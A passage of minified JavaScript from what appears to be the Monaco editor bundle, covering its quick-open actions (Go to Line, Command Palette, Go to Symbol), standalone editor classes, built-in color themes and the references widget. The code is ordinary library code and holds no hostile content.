d(e,t,n.getController(t))])},getAutoFocus:function(e){return{autoFocusFirstEntry:e.length>0}}})},t=v([u.editorAction],t)}(a.BaseEditorQuickOpenAction);t.GotoLineAction=h}),define(d[538],h([1,0,378,10,81,7,120,100,46,21,143,13,28]),function(e,t,n,i,o,r,s,a,u,l,c,d,h){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var p=function(e){function t(t,n,i,o){var r=e.call(this)||this;return r.key=t,r.setHighlights(n),r.action=i,r.editor=o,r}return f(t,e),t.prototype.getLabel=function(){return this.action.label},t.prototype.getAriaLabel=function(){return n.localize(0,null,this.getLabel())},t.prototype.getGroupLabel=function(){return this.key},t.prototype.run=function(e,t){var n=this;return e===a.Mode.OPEN&&(r.TPromise.timeout(50).done(function(){n.editor.focus();try{(n.action.run()||r.TPromise.as(null)).done(null,i.onUnexpectedError)}catch(e){i.onUnexpectedError(e)}},i.onUnexpectedError),!0)},t}(s.QuickOpenEntryGroup);t.EditorActionCommandEntry=p;var g=function(e){function t(){return e.call(this,n.localize(1,null),{id:\"editor.action.quickCommand\",label:n.localize(2,null),alias:\"Command Palette\",precondition:null,kbOpts:{kbExpr:l.EditorContextKeys.focus,primary:h.isIE?571:59},menuOpts:{}})||this}return f(t,e),t.prototype.run=function(e,t){var n=this,i=e.get(u.IKeybindingService);this._show(this.getController(t),{getModel:function(e){return new s.QuickOpenModel(n._editorActionsToEntries(i,t,e))},getAutoFocus:function(e){return{autoFocusFirstEntry:!0,autoFocusPrefixMatch:e}}})},t.prototype._sort=function(e,t){var n=e.getLabel().toLowerCase(),i=t.getLabel().toLowerCase();return n.localeCompare(i)},t.prototype._editorActionsToEntries=function(e,t,n){for(var i=t.getSupportedActions(),r=[],s=0;s<i.length;s++){var a=i[s],u=e.lookupKeybinding(a.id);if(a.label){var l=o.matchesFuzzy(n,a.label);l&&r.push(new p(u?u.getLabel():\"\",l,a,t))}}return r=r.sort(this._sort)},t=v([d.editorAction],t)}(c.BaseEditorQuickOpenAction);t.QuickCommandAction=g}),define(d[539],h([1,0,379,81,9,120,100,21,17,143,470,13,2,405]),function(e,t,n,i,o,r,s,a,u,l,c,d,h){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var p=function(e){function t(t,n,i,o,r,s,a){var u=e.call(this)||this;return u.name=t,u.type=n,u.description=i,u.range=o,u.setHighlights(r),u.editor=s,u.decorator=a,u}return f(t,e),t.prototype.getLabel=function(){return this.name},t.prototype.getAriaLabel=function(){return n.localize(0,null,this.name)},t.prototype.getIcon=function(){return this.type},t.prototype.getDescription=function(){return this.description},t.prototype.getType=function(){return this.type},t.prototype.getRange=function(){return this.range},t.prototype.run=function(e,t){return e===s.Mode.OPEN?this.runOpen(t):this.runPreview()},t.prototype.runOpen=function(e){var t=this.toSelection();return this.editor.setSelection(t),this.editor.revealRangeInCenter(t),this.editor.focus(),!0},t.prototype.runPreview=function(){var e=this.toSelection();return this.editor.revealRangeInCenter(e),this.decorator.decorateLine(this.range,this.editor),!1},t.prototype.toSelection=function(){return new h.Range(this.range.startLineNumber,this.range.startColumn||1,this.range.startLineNumber,this.range.startColumn||1)},t}(r.QuickOpenEntryGroup),g=function(e){function t(){return e.call(this,n.localize(1,null),{id:\"editor.action.quickOutline\",label:n.localize(2,null),alias:\"Go to Symbol...\",precondition:a.EditorContextKeys.hasDocumentSymbolProvider,kbOpts:{kbExpr:a.EditorContextKeys.focus,primary:3117},menuOpts:{group:\"navigation\",order:3}})||this}return f(t,e),t.prototype.run=function(e,t){var n=this,i=t.getModel();return u.DocumentSymbolProviderRegistry.has(i)?c.getDocumentSymbols(i).then(function(e){0!==e.entries.length&&n._run(t,e.entries)}):null},t.prototype._run=function(e,t){var n=this;this._show(this.getController(e),{getModel:function(i){return new r.QuickOpenModel(n.toQuickOpenEntries(e,t,i))},getAutoFocus:function(e){return 0===e.indexOf(\":\")&&(e=e.substr(\":\".length)),{autoFocusPrefixMatch:e,autoFocusFirstEntry:!!e}}})},t.prototype.toQuickOpenEntries=function(e,t,r){var s=this.getController(e),a=[],l=r;0===r.indexOf(\":\")&&(l=l.substr(\":\".length));for(y=0;y<t.length;y++){var c=t[y],d=o.trim(c.name),f=i.matchesFuzzy(l,d);if(f){var g=null;c.containerName&&(g=c.containerName),a.push(new p(d,u.symbolKindToCssClass(c.kind),g,h.Range.lift(c.location.range),f,e,s))}}if(r&&(a=0===r.indexOf(\":\")?a.sort(this.sortScoped.bind(this,r.toLowerCase())):a.sort(this.sortNormal.bind(this,r.toLowerCase()))),a.length>0&&0===r.indexOf(\":\")){for(var m=null,v=null,_=0,y=0;y<a.length;y++){var C=a[y];m!==C.getType()?(v&&v.setGroupLabel(this.typeToLabel(m,_)),m=C.getType(),v=C,_=1,C.setShowBorder(y>0)):_++}v&&v.setGroupLabel(this.typeToLabel(m,_))}else a.length>0&&a[0].setGroupLabel(n.localize(3,null,a.length));return a},t.prototype.typeToLabel=function(e,t){switch(e){case\"module\":return n.localize(4,null,t);case\"class\":return n.localize(5,null,t);case\"interface\":return n.localize(6,null,t);case\"method\":return n.localize(7,null,t);case\"function\":return n.localize(8,null,t);case\"property\":return n.localize(9,null,t);case\"variable\":return n.localize(10,null,t);case\"var\":return n.localize(11,null,t);case\"constructor\":return n.localize(12,null,t);case\"call\":return n.localize(13,null,t)}return e},t.prototype.sortNormal=function(e,t,n){var i=t.getLabel().toLowerCase(),o=n.getLabel().toLowerCase(),r=i.localeCompare(o);if(0!==r)return r;var s=t.getRange(),a=n.getRange();return s.startLineNumber-a.startLineNumber},t.prototype.sortScoped=function(e,t,n){e=e.substr(\":\".length);var i=t.getType(),o=n.getType(),r=i.localeCompare(o);if(0!==r)return r;if(e){var s=t.getLabel().toLowerCase(),a=n.getLabel().toLowerCase(),u=s.localeCompare(a);if(0!==u)return u}var l=t.getRange(),c=n.getRange();return l.startLineNumber-c.startLineNumber},t=v([d.editorAction],t)}(l.BaseEditorQuickOpenAction);t.QuickOutlineAction=g}),define(d[540],h([1,0,3,7,69,16,31,46,19,42,61,129,141,193,77,149,85,14,51,50,380,28]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_,C,b,w,S,E){\"use strict\";function L(){N||(N=!0,b.setARIAContainer(document.body))}Object.defineProperty(t,\"__esModule\",{value:!0});var x=0,N=!1,M=function(e){function t(t,n,i,o,r,s,a,u){var l=this;return n=n||{},n.ariaLabel=n.ariaLabel||S.localize(0,null),n.ariaLabel=n.ariaLabel+\";\"+(E.isIE?S.localize(1,null):S.localize(2,null)),l=e.call(this,t,n,i,o,r,s,u)||this,a instanceof d.StandaloneKeybindingService&&(l._standaloneKeybindingService=a),L(),l}return f(t,e),t.prototype.addCommand=function(e,t,n){if(!this._standaloneKeybindingService)return console.warn(\"Cannot add command because the editor is configured with an unrecognized KeybindingService\"),null;var i=\"DYNAMIC_\"+ ++x,o=u.ContextKeyExpr.deserialize(n);return this._standaloneKeybindingService.addDynamicKeybinding(i,e,t,o),i},t.prototype.createContextKey=function(e,t){return this._contextKeyService.createKey(e,t)},t.prototype.addAction=function(e){var t=this;if(\"string\"!=typeof e.id||\"string\"!=typeof e.label||\"function\"!=typeof e.run)throw new Error(\"Invalid action descriptor, `id`, `label` and `run` are required properties!\");if(!this._standaloneKeybindingService)return console.warn(\"Cannot add keybinding because the editor is configured with an unrecognized KeybindingService\"),n.empty;var o=e.id,r=e.label,a=u.ContextKeyExpr.and(u.ContextKeyExpr.equals(\"editorId\",this.getId()),u.ContextKeyExpr.deserialize(e.precondition)),l=e.keybindings,c=u.ContextKeyExpr.and(a,u.ContextKeyExpr.deserialize(e.keybindingContext)),d=e.contextMenuGroupId||null,h=e.contextMenuOrder||0,p=function(){var n=e.run(t);return n||i.TPromise.as(void 0)},f=[],g=this.getId()+\":\"+o;if(f.push(s.CommandsRegistry.registerCommand(g,p)),d){var v={command:{id:g,title:r},when:a,group:d,order:h};f.push(_.MenuRegistry.appendMenuItem(_.MenuId.EditorContext,v))}Array.isArray(l)&&(f=f.concat(l.map(function(e){return t._standaloneKeybindingService.addDynamicKeybinding(g,e,p,c)})));var y=new m.InternalEditorAction(g,r,r,a,p,this._contextKeyService);return this._actions[o]=y,f.push({dispose:function(){delete t._actions[o]}}),n.combinedDisposable(f)},t=v([y(2,r.IInstantiationService),y(3,l.ICodeEditorService),y(4,s.ICommandService),y(5,u.IContextKeyService),y(6,a.IKeybindingService),y(7,C.IThemeService)],t)}(h.CodeEditor);t.StandaloneCodeEditor=M;var T=function(e){function t(t,n,i,o,r,s,a,u,l,c){var d=this;\"string\"==typeof(n=n||{}).theme&&c.setTheme(n.theme);var h=n.model;if(delete n.model,d=e.call(this,t,n,o,r,s,a,u,c)||this,d._contextViewService=l,d._register(i),void 0===h?(h=self.monaco.editor.createModel(n.value||\"\",n.language||\"text/plain\"),d._ownsModel=!0):d._ownsModel=!1,d._attachModel(h),h){var p={oldModelUrl:null,newModelUrl:h.uri};d._onDidChangeModel.fire(p)}return d}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype.destroy=function(){this.dispose()},t.prototype._attachModel=function(t){e.prototype._attachModel.call(this,t),this._view&&this._contextViewService.setContainer(this._view.domNode.domNode)},t.prototype._postDetachModelCleanup=function(t){e.prototype._postDetachModelCleanup.call(this,t),t&&this._ownsModel&&(t.dispose(),this._ownsModel=!1)},t=v([y(3,r.IInstantiationService),y(4,l.ICodeEditorService),y(5,s.ICommandService),y(6,u.IContextKeyService),y(7,a.IKeybindingService),y(8,o.IContextViewService),y(9,g.IStandaloneThemeService)],t)}(M);t.StandaloneEditor=T;var k=function(e){function t(t,n,i,o,r,s,a,u,l,c,h){var p=this;return\"string\"==typeof(n=n||{}).theme&&(n.theme=c.setTheme(n.theme)),p=e.call(this,t,n,u,r,o,l,c,h)||this,s instanceof d.StandaloneKeybindingService&&(p._standaloneKeybindingService=s),p._contextViewService=a,p._register(i),p._contextViewService.setContainer(p._containerDomElement),p}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype.destroy=function(){this.dispose()},t.prototype._createInnerEditor=function(e,t,n){return e.createInstance(M,t,n)},t.prototype.getOriginalEditor=function(){return e.prototype.getOriginalEditor.call(this)},t.prototype.getModifiedEditor=function(){return e.prototype.getModifiedEditor.call(this)},t.prototype.addCommand=function(e,t,n){return this.getModifiedEditor().addCommand(e,t,n)},t.prototype.createContextKey=function(e,t){return this.getModifiedEditor().createContextKey(e,t)},t.prototype.addAction=function(e){return this.getModifiedEditor().addAction(e)},t=v([y(3,r.IInstantiationService),y(4,u.IContextKeyService),y(5,a.IKeybindingService),y(6,o.IContextViewService),y(7,c.IEditorWorkerService),y(8,l.ICodeEditorService),y(9,g.IStandaloneThemeService),y(10,w.IMessageService)],t)}(p.DiffEditorWidget);t.StandaloneDiffEditor=k}),define(d[541],h([1,0,23,37]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.vs={base:\"vs\",inherit:!1,rules:[{token:\"\",foreground:\"000000\",background:\"fffffe\"},{token:\"invalid\",foreground:\"cd3131\"},{token:\"emphasis\",fontStyle:\"italic\"},{token:\"strong\",fontStyle:\"bold\"},{token:\"variable\",foreground:\"001188\"},{token:\"variable.predefined\",foreground:\"4864AA\"},{token:\"constant\",foreground:\"dd0000\"},{token:\"comment\",foreground:\"008000\"},{token:\"number\",foreground:\"09885A\"},{token:\"number.hex\",foreground:\"3030c0\"},{token:\"regexp\",foreground:\"800000\"},{token:\"annotation\",foreground:\"808080\"},{token:\"type\",foreground:\"008080\"},{token:\"delimiter\",foreground:\"000000\"},{token:\"delimiter.html\",foreground:\"383838\"},{token:\"delimiter.xml\",foreground:\"0000FF\"},{token:\"tag\",foreground:\"800000\"},{token:\"tag.id.jade\",foreground:\"4F76AC\"},{token:\"tag.class.jade\",foreground:\"4F76AC\"},{token:\"meta.scss\",foreground:\"800000\"},{token:\"metatag\",foreground:\"e00000\"},{token:\"metatag.content.html\",foreground:\"FF0000\"},{token:\"metatag.html\",foreground:\"808080\"},{token:\"metatag.xml\",foreground:\"808080\"},{token:\"metatag.php\",fontStyle:\"bold\"},{token:\"key\",foreground:\"863B00\"},{token:\"string.key.json\",foreground:\"A31515\"},{token:\"string.value.json\",foreground:\"0451A5\"},{token:\"attribute.name\",foreground:\"FF0000\"},{token:\"attribute.value\",foreground:\"0451A5\"},{token:\"attribute.value.number\",foreground:\"09885A\"},{token:\"attribute.value.unit\",foreground:\"09885A\"},{token:\"attribute.value.html\",foreground:\"0000FF\"},{token:\"attribute.value.xml\",foreground:\"0000FF\"},{token:\"string\",foreground:\"A31515\"},{token:\"string.html\",foreground:\"0000FF\"},{token:\"string.sql\",foreground:\"FF0000\"},{token:\"string.yaml\",foreground:\"0451A5\"},{token:\"keyword\",foreground:\"0000FF\"},{token:\"keyword.json\",foreground:\"0451A5\"},{token:\"keyword.flow\",foreground:\"AF00DB\"},{token:\"keyword.flow.scss\",foreground:\"0000FF\"},{token:\"operator.scss\",foreground:\"666666\"},{token:\"operator.sql\",foreground:\"778899\"},{token:\"operator.swift\",foreground:\"666666\"},{token:\"predefined.sql\",foreground:\"FF00FF\"}],colors:(o={},o[n.editorBackground]=\"#FFFFFE\",o[n.editorForeground]=\"#000000\",o[n.editorInactiveSelection]=\"#E5EBF1\",o[i.editorIndentGuides]=\"#D3D3D3\",o[n.editorSelectionHighlight]=\"#ADD6FF4D\",o)},t.vs_dark={base:\"vs-dark\",inherit:!1,rules:[{token:\"\",foreground:\"D4D4D4\",background:\"1E1E1E\"},{token:\"invalid\",foreground:\"f44747\"},{token:\"emphasis\",fontStyle:\"italic\"},{token:\"strong\",fontStyle:\"bold\"},{token:\"variable\",foreground:\"74B0DF\"},{token:\"variable.predefined\",foreground:\"4864AA\"},{token:\"variable.parameter\",foreground:\"9CDCFE\"},{token:\"constant\",foreground:\"569CD6\"},{token:\"comment\",foreground:\"608B4E\"},{token:\"number\",foreground:\"B5CEA8\"},{token:\"number.hex\",foreground:\"5BB498\"},{token:\"regexp\",foreground:\"B46695\"},{token:\"annotation\",foreground:\"cc6666\"},{token:\"type\",foreground:\"3DC9B0\"},{token:\"delimiter\",foreground:\"DCDCDC\"},{token:\"delimiter.html\",foreground:\"808080\"},{token:\"delimiter.xml\",foreground:\"808080\"},{token:\"tag\",foreground:\"569CD6\"},{token:\"tag.id.jade\",foreground:\"4F76AC\"},{token:\"tag.class.jade\",foreground:\"4F76AC\"},{token:\"meta.scss\",foreground:\"A79873\"},{token:\"meta.tag\",foreground:\"CE9178\"},{token:\"metatag\",foreground:\"DD6A6F\"},{token:\"metatag.content.html\",foreground:\"9CDCFE\"},{token:\"metatag.html\",foreground:\"569CD6\"},{token:\"metatag.xml\",foreground:\"569CD6\"},{token:\"metatag.php\",fontStyle:\"bold\"},{token:\"key\",foreground:\"9CDCFE\"},{token:\"string.key.json\",foreground:\"9CDCFE\"},{token:\"string.value.json\",foreground:\"CE9178\"},{token:\"attribute.name\",foreground:\"9CDCFE\"},{token:\"attribute.value\",foreground:\"CE9178\"},{token:\"attribute.value.number.css\",foreground:\"B5CEA8\"},{token:\"attribute.value.unit.css\",foreground:\"B5CEA8\"},{token:\"attribute.value.hex.css\",foreground:\"D4D4D4\"},{token:\"string\",foreground:\"CE9178\"},{token:\"string.sql\",foreground:\"FF0000\"},{token:\"keyword\",foreground:\"569CD6\"},{token:\"keyword.flow\",foreground:\"C586C0\"},{token:\"keyword.json\",foreground:\"CE9178\"},{token:\"keyword.flow.scss\",foreground:\"569CD6\"},{token:\"operator.scss\",foreground:\"909090\"},{token:\"operator.sql\",foreground:\"778899\"},{token:\"operator.swift\",foreground:\"909090\"},{token:\"predefined.sql\",foreground:\"FF00FF\"}],colors:(r={},r[n.editorBackground]=\"#1E1E1E\",r[n.editorForeground]=\"#D4D4D4\",r[n.editorInactiveSelection]=\"#3A3D41\",r[i.editorIndentGuides]=\"#404040\",r[n.editorSelectionHighlight]=\"#ADD6FF26\",r)},t.hc_black={base:\"hc-black\",inherit:!1,rules:[{token:\"\",foreground:\"FFFFFF\",background:\"000000\"},{token:\"invalid\",foreground:\"f44747\"},{token:\"emphasis\",fontStyle:\"italic\"},{token:\"strong\",fontStyle:\"bold\"},{token:\"variable\",foreground:\"1AEBFF\"},{token:\"variable.parameter\",foreground:\"9CDCFE\"},{token:\"constant\",foreground:\"569CD6\"},{token:\"comment\",foreground:\"608B4E\"},{token:\"number\",foreground:\"FFFFFF\"},{token:\"regexp\",foreground:\"C0C0C0\"},{token:\"annotation\",foreground:\"569CD6\"},{token:\"type\",foreground:\"3DC9B0\"},{token:\"delimiter\",foreground:\"FFFF00\"},{token:\"delimiter.html\",foreground:\"FFFF00\"},{token:\"tag\",foreground:\"569CD6\"},{token:\"tag.id.jade\",foreground:\"4F76AC\"},{token:\"tag.class.jade\",foreground:\"4F76AC\"},{token:\"meta\",foreground:\"D4D4D4\"},{token:\"meta.tag\",foreground:\"CE9178\"},{token:\"metatag\",foreground:\"569CD6\"},{token:\"metatag.content.html\",foreground:\"1AEBFF\"},{token:\"metatag.html\",foreground:\"569CD6\"},{token:\"metatag.xml\",foreground:\"569CD6\"},{token:\"metatag.php\",fontStyle:\"bold\"},{token:\"key\",foreground:\"9CDCFE\"},{token:\"string.key\",foreground:\"9CDCFE\"},{token:\"string.value\",foreground:\"CE9178\"},{token:\"attribute.name\",foreground:\"569CD6\"},{token:\"attribute.value\",foreground:\"3FF23F\"},{token:\"string\",foreground:\"CE9178\"},{token:\"string.sql\",foreground:\"FF0000\"},{token:\"keyword\",foreground:\"569CD6\"},{token:\"keyword.flow\",foreground:\"C586C0\"},{token:\"operator.sql\",foreground:\"778899\"},{token:\"operator.swift\",foreground:\"909090\"},{token:\"predefined.sql\",foreground:\"FF00FF\"}],colors:(s={},s[n.editorBackground]=\"#000000\",s[n.editorForeground]=\"#FFFFFF\",s[i.editorIndentGuides]=\"#FFFFFF\",s)};var o,r,s}),define(d[542],h([1,0,202,541,4,17,32,23,14,44,11]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";function d(e){return e===f||e===g||e===m}function h(e){switch(e){case f:return i.vs;case g:return i.vs_dark;case m:return i.hc_black}}function p(e){var t=h(e);return new y(e,\"\",t.colors,t.rules)}Object.defineProperty(t,\"__esModule\",{value:!0});var f=\"vs\",g=\"vs-dark\",m=\"hc-black\",v=l.Registry.as(a.Extensions.ColorContribution),_=l.Registry.as(u.Extensions.ThemingContribution),y=function(){function e(e,t,n,i){t.length>0?(this.id=e+\" \"+t,this.themeName=t):(this.id=e,this.themeName=e),this.base=e,this.rules=i,this.colors={};for(var o in n)this.colors[o]=s.Color.fromHex(n[o]);this.defaultColors={}}return e.prototype.getColor=function(e,t){return this.colors.hasOwnProperty(e)?this.colors[e]:!1!==t?this.getDefault(e):null},e.prototype.getDefault=function(e){if(this.defaultColors.hasOwnProperty(e))return this.defaultColors[e];var t=v.resolveDefaultColor(e,this);return this.defaultColors[e]=t,t},e.prototype.defines=function(e){return this.colors.hasOwnProperty(e)},Object.defineProperty(e.prototype,\"type\",{get:function(){switch(this.base){case f:return\"light\";case m:return\"hc\";default:return\"dark\"}},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"tokenTheme\",{get:function(){return this._tokenTheme||(this._tokenTheme=n.TokenTheme.createFromRawTokenTheme(this.rules)),this._tokenTheme},enumerable:!0,configurable:!0}),e}(),C=function(){function e(){this._onThemeChange=new c.Emitter,this._knownThemes=new Map,this._knownThemes.set(f,p(f)),this._knownThemes.set(g,p(g)),this._knownThemes.set(m,p(m)),this._styleElement=o.createStyleSheet(),this._styleElement.className=\"monaco-colors\",this.setTheme(f)}return Object.defineProperty(e.prototype,\"onThemeChange\",{get:function(){return this._onThemeChange.event},enumerable:!0,configurable:!0}),e.prototype.defineTheme=function(e,t){if(!/^[a-z0-9\\-]+$/i.test(e)||d(e))throw new Error(\"Illegal theme name!\");if(!d(t.base))throw new Error(\"Illegal theme base!\");var n=[],i={};if(t.inherit){var o=h(t.base);n=n.concat(o.rules);for(var r in o.colors)i[r]=o.colors[r]}n=n.concat(t.rules);for(var r in t.colors)i[r]=t.colors[r];this._knownThemes.set(e,new y(t.base,e,i,n))},e.prototype.getTheme=function(){return this._theme},e.prototype.setTheme=function(e){var t;t=this._knownThemes.has(e)?this._knownThemes.get(e):this._knownThemes.get(f),this._theme=t;var i=[],o={},s={addRule:function(e){o[e]||(i.push(e),o[e]=!0)}};_.getThemingParticipants().forEach(function(e){return e(t,s)});var a=t.tokenTheme.getColorMap();return s.addRule(n.generateTokensCSSForColorMap(a)),this._styleElement.innerHTML=i.join(\"\\n\"),r.TokenizationRegistry.setColorMap(a),this._onThemeChange.fire(t),t.id},e}();t.StandaloneThemeServiceImpl=C}),define(d[144],h([1,0,24,16,45,80]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.IWorkspaceContextService=i.createDecorator(\"contextService\");var s=function(){function e(e,t){this._resource=e,this._ctime=t,this._name=o.basename(this._resource.fsPath)||this._resource.fsPath}return Object.defineProperty(e.prototype,\"resource\",{get:function(){return this._resource},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"name\",{get:function(){return this._name},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"ctime\",{get:function(){return this._ctime},enumerable:!0,configurable:!0}),e.prototype.toResource=function(e,t){return\"string\"==typeof e?n.default.file(o.join(t?t.fsPath:this._resource.fsPath,e)):null},e}();t.LegacyWorkspace=s;var a=function(){function e(e,t,n,i){void 0===i&&(i=null),this.id=e,this._name=t,this._roots=n,this._configuration=i,this._rootsMap=new r.TrieMap(r.TrieMap.PathSplitter),this.updateRootsMap()}return Object.defineProperty(e.prototype,\"roots\",{get:function(){return this._roots},set:function(e){this._roots=e,this.updateRootsMap()},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"name\",{get:function(){return this._name},set:function(e){this._name=e},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"configuration\",{get:function(){return this._configuration},set:function(e){this._configuration=e},enumerable:!0,configurable:!0}),e.prototype.getRoot=function(e){return e?this._rootsMap.findSubstr(e.fsPath):null},e.prototype.updateRootsMap=function(){this._rootsMap=new r.TrieMap(r.TrieMap.PathSplitter);for(var e=0,t=this.roots;e<t.length;e++){var n=t[e];this._rootsMap.insert(n.fsPath,n)}},e.prototype.toJSON=function(){return{id:this.id,roots:this.roots,name:this.name}},e}();t.Workspace=a}),define(d[544],h([1,0,367,10,174,11,3,70,9,7,32,52,4,99,204,162,128,161,16,84,144,2,20,175,194,92,125,87,23,14,137,156,34,24,392]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,_,C,b,w,S,E,L,x,N,M,T,k,I,D,O,R,P,A){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var F=function(){function e(e,t){var n=this;this._editor=e,this._model=t,this._decorations=new Map,this._decorationIgnoreSet=new Set,this._callOnDispose=[],this._callOnModelChange=[],this._callOnDispose.push(this._editor.onDidChangeModel(function(){return n._onModelChanged()})),this._onModelChanged()}return e.prototype.dispose=function(){this._callOnModelChange=s.dispose(this._callOnModelChange),this._callOnDispose=s.dispose(this._callOnDispose),this.removeDecorations()},e.prototype._onModelChanged=function(){this._callOnModelChange=s.dispose(this._callOnModelChange);var e=this._editor.getModel();if(e)for(var t=0,n=this._model.groups;t<n.length;t++){var i=n[t];if(i.uri.toString()===e.uri.toString())return void this._addDecorations(i)}},e.prototype._addDecorations=function(t){var n=this;this._callOnModelChange.push(this._editor.getModel().onDidChangeDecorations(function(e){return n._onDecorationChanged(e)})),this._editor.changeDecorations(function(i){for(var o=[],r=[],s=0,a=t.children.length;s<a;s++){var u=t.children[s];n._decorationIgnoreSet.has(u.id)||(o.push({range:u.range,options:e.DecorationOptions}),r.push(s))}for(var l=i.deltaDecorations([],o),s=0;s<l.length;s++)n._decorations.set(l[s],t.children[r[s]])})},e.prototype._onDecorationChanged=function(e){for(var t=this,n=e.changedDecorations,i=[],o=0,r=n.length;o<r;o++){var s=this._decorations.get(n[o]);if(s){var a=this._editor.getModel().getDecorationRange(n[o]),u=!1;E.Range.equalsRange(a,s.range)||(E.Range.spansMultipleLines(a)?u=!0:s.range.endColumn-s.range.startColumn!==a.endColumn-a.startColumn&&(u=!0),u?(this._decorationIgnoreSet.add(s.id),i.push(n[o])):s.range=a)}}this._editor.changeDecorations(function(e){for(var n=0,o=i.length;n<o;n++)t._decorations.delete(i[n]);e.deltaDecorations(i,[])})},e.prototype.removeDecorations=function(){var e=this;this._editor.changeDecorations(function(t){e._decorations.forEach(function(e,n){t.removeDecoration(n)}),e._decorations.clear()})},e.DecorationOptions=P.ModelDecorationOptions.register({stickiness:L.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:\"reference-decoration\"}),e}(),W=function(){function e(e){this._textModelResolverService=e}return e.prototype.getId=function(e,t){return t instanceof T.ReferencesModel?\"root\":t instanceof T.FileReferences?t.id:t instanceof T.OneReference?t.id:void 0},e.prototype.hasChildren=function(e,t){return t instanceof T.ReferencesModel||t instanceof T.FileReferences&&!t.failure},e.prototype.getChildren=function(e,t){return t instanceof T.ReferencesModel?l.TPromise.as(t.groups):t instanceof T.FileReferences?t.resolve(this._textModelResolverService).then(function(n){return t.failure?e.refresh(t).then(function(){return n.children}):n.children}):l.TPromise.as([])},e.prototype.getParent=function(e,t){var n=null;return t instanceof T.FileReferences?n=t.parent:t instanceof T.OneReference&&(n=t.parent),l.TPromise.as(n)},e=v([y(0,k.ITextModelService)],e)}(),B=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.onTap=function(n,i,o){if(i instanceof T.FileReferences)return o.preventDefault(),o.stopPropagation(),this._expandCollapse(n,i);var r=e.prototype.onTap.call(this,n,i,o);return n.emit(t.Events.FOCUSED,i),r},t.prototype.onMouseDown=function(n,i,o){if(o.leftButton){if(i instanceof T.FileReferences)return o.preventDefault(),o.stopPropagation(),this._expandCollapse(n,i);var r=e.prototype.onClick.call(this,n,i,o);return o.ctrlKey||o.metaKey?n.emit(t.Events.OPEN_TO_SIDE,i):2===o.detail?n.emit(t.Events.SELECTED,i):n.emit(t.Events.FOCUSED,i),r}return!1},t.prototype.onClick=function(t,n,i){return!i.leftButton&&e.prototype.onClick.call(this,t,n,i)},t.prototype._expandCollapse=function(e,t){return e.isExpanded(t)?e.collapse(t).done(null,i.onUnexpectedError):e.expand(t).done(null,i.onUnexpectedError),!0},t.prototype.onEscape=function(e,t){return!1},t.prototype.onEnter=function(n,i){var o=n.getFocus();if(o instanceof T.FileReferences)return this._expandCollapse(n,o);var r=e.prototype.onEnter.call(this,n,i);return i.ctrlKey||i.metaKey?n.emit(t.Events.OPEN_TO_SIDE,o):n.emit(t.Events.SELECTED,o),r},t.prototype.onUp=function(t,n){return e.prototype.onUp.call(this,t,n),this._fakeFocus(t,n),!0},t.prototype.onPageUp=function(t,n){return e.prototype.onPageUp.call(this,t,n),this._fakeFocus(t,n),!0},t.prototype.onLeft=function(t,n){return e.prototype.onLeft.call(this,t,n),this._fakeFocus(t,n),!0},t.prototype.onDown=function(t,n){return e.prototype.onDown.call(this,t,n),this._fakeFocus(t,n),!0},t.prototype.onPageDown=function(t,n){return e.prototype.onPageDown.call(this,t,n),this._fakeFocus(t,n),!0},t.prototype.onRight=function(t,n){return e.prototype.onRight.call(this,t,n),this._fakeFocus(t,n),!0},t.prototype._fakeFocus=function(e,n){var i=e.getFocus();e.setSelection([i]),e.emit(t.Events.FOCUSED,i)},t.Events={FOCUSED:\"events/custom/focused\",SELECTED:\"events/custom/selected\",OPEN_TO_SIDE:\"events/custom/opentoside\"},t}(_.DefaultController),V=function(){function e(e,t,n,i){this._contextService=t,this._environmentService=n;var o=document.createElement(\"div\");h.addClass(o,\"reference-file\"),e.appendChild(o),this.file=new m.FileLabel(o,A.default.parse(\"no:file\"),this._contextService,this._environmentService),this.badge=new g.CountBadge(o);var r=O.attachBadgeStyler(this.badge,i);this.dispose=function(){return r.dispose()}}return e.prototype.set=function(e){this.file.setFile(e.uri,this._contextService,this._environmentService);var t=e.children.length;this.badge.setCount(t),e.failure?this.badge.setTitleFormat(n.localize(0,null)):t>1?this.badge.setTitleFormat(n.localize(1,null,t)):this.badge.setTitleFormat(n.localize(2,null,t))},e=v([y(1,S.IWorkspaceContextService),y(2,b.optional(R.IEnvironmentService)),y(3,D.IThemeService)],e)}(),H=function(){function e(e){var t=document.createElement(\"div\");this.before=document.createElement(\"span\"),this.inside=document.createElement(\"span\"),this.after=document.createElement(\"span\"),h.addClass(this.inside,\"referenceMatch\"),h.addClass(t,\"reference\"),t.appendChild(this.before),t.appendChild(this.inside),t.appendChild(this.after),e.appendChild(t)}return e.prototype.set=function(e){var t=e.parent.preview.preview(e.range),n=t.before,i=t.inside,o=t.after;this.before.innerHTML=u.escape(n),this.inside.innerHTML=u.escape(i),this.after.innerHTML=u.escape(o)},e}(),z=function(){function e(e,t,n){this._contextService=e,this._themeService=t,this._environmentService=n}return e.prototype.getHeight=function(e,t){return 22},e.prototype.getTemplateId=function(t,n){if(n instanceof T.FileReferences)return e._ids.FileReferences;if(n instanceof T.OneReference)return e._ids.OneReference;throw n},e.prototype.renderTemplate=function(t,n,i){if(n===e._ids.FileReferences)return new V(i,this._contextService,this._environmentService,this._themeService);if(n===e._ids.OneReference)return new H(i);throw n},e.prototype.renderElement=function(e,t,n,i){if(t instanceof T.FileReferences)i.set(t);else{if(!(t instanceof T.OneReference))throw n;i.set(t)}},e.prototype.disposeTemplate=function(e,t,n){n instanceof 